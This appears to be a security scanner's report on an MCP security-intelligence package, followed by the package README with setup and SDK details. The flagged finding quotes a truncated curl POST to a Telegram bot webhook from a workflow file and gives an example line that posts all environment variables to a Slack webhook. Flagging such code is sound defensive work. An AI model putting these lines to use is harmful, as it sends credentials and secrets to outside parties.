Findings & checks · 1 flagged
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · .github/workflows/redteam.yml
This plugin embeds a chat-platform or request-capture webhook URL (curl -s -X POST "https://api.telegram.org/bot${T…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Trace & refs
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
ContrastAPI — 55 Security Tools + 7 MCP Resources for AI Agents
<p align="center"> <img src="app/static/banner.png" alt="ContrastAPI Banner" width="100%"> </p>
Security intelligence, built for AI agents. Give your agent grounded answers about vulnerabilities, threats, and attack surface — backed by authoritative sources (NVD, CISA KEV, FIRST EPSS, MITRE ATLAS & D3FEND), never guesswork. CVE/KEV/CWE lookup with EPSS exploit-probability and composite risk scoring, domain & IP investigation, IOC enrichment, code-security checks, and live web intelligence. 55 tools, 7 Resources, and 3 Prompts — free, no API key, no signup.
中文 · Live: api.contrastcyber.com
Documentation
- [API Documentation](docs/API_Documentation.md) — REST reference: 60+ endpoints, authentication, rate limits, token costs, and response envelope.
- [MCP Documentation](docs/MCP_Documentation.md) — MCP tool-selection guide, 7 Resources, 3 Prompts, and copy-paste agent prompts.
Setup (MCP)
Any MCP client
{
"mcpServers": {
"contrastapi": {
"command": "npx",
"args": ["-y", "mcp-remote", "https://api.contrastcyber.com/mcp/"]
}
}
}Restart your agent. Other clients (Python SDK, Node SDK, cURL, VS Code): [mcp-setup](https://api.contrastcyber.com/mcp-setup) · [quickstart](https://api.contrastcyber.com/quickstart)
Claude Desktop — one-click extension
Grab the .mcpb file from the [latest release](https://github.com/UPinar/contrastapi/releases/latest) and double-click it (or Claude Desktop → Settings → Extensions → Install Extension…). No signup, no API key — all 55 tools ready immediately.
SDKs
pip install contrastapi # Python 3.10+ — sync + async, typed responses, shortcut helpers
npm install contrastapi # Node 14+ — concrete TypeScript types, 14 namespacesBoth SDKs cover every HTTP endpoint and MCP tool — CVE/KEV/CWE, ATLAS, D3FEND, Sigma rules, email security posture, domain, IP, IOC, code security, and web intelligence — with wire-exact response shapes and a typed exception hierarchy that mirrors the API error envelope. They also expose MCP Resources for browsing the ATLAS, D3FEND, and CWE catalogs (see docs/MCP_Documentation.md) and a conditional triage Prompt (see docs/MCP_Documentation.md#contrast-triage). Web-intelligence tools — robots_txt, redirect_chain, email_verify, brand_assets, seo_audit, geo_audit — ship with an explicit ethical floor: per-target throttling, robots.txt respected, no SMTP probing.
Links
OpenAPI: openapi.json
<details> <summary>Also available on</summary>
Smithery · npm · VS Code Marketplace · Awesome OSINT MCP · RapidAPI
</details>
<details> <summary>Multi-agent verdict metadata</summary>
Responses include a verdict block — deterministic, falsifiable_fields, data_age_seconds, sources_queried / sources_unavailable, completeness — so a verifier agent can independently re-derive specific fields from the upstream authority (NVD, RDAP, CT logs, URLhaus). Probe GET /v1/capabilities for "verdict_metadata": true.
CVE responses also embed next_calls: list[PivotHint] — {tool, input, reason} triples that suggest the next MCP tool to call (e.g. kev_detail when kev.in_kev=true, cwe_lookup when cwe_id is set). Agents chain workflows without manual prompting.
</details>
MIT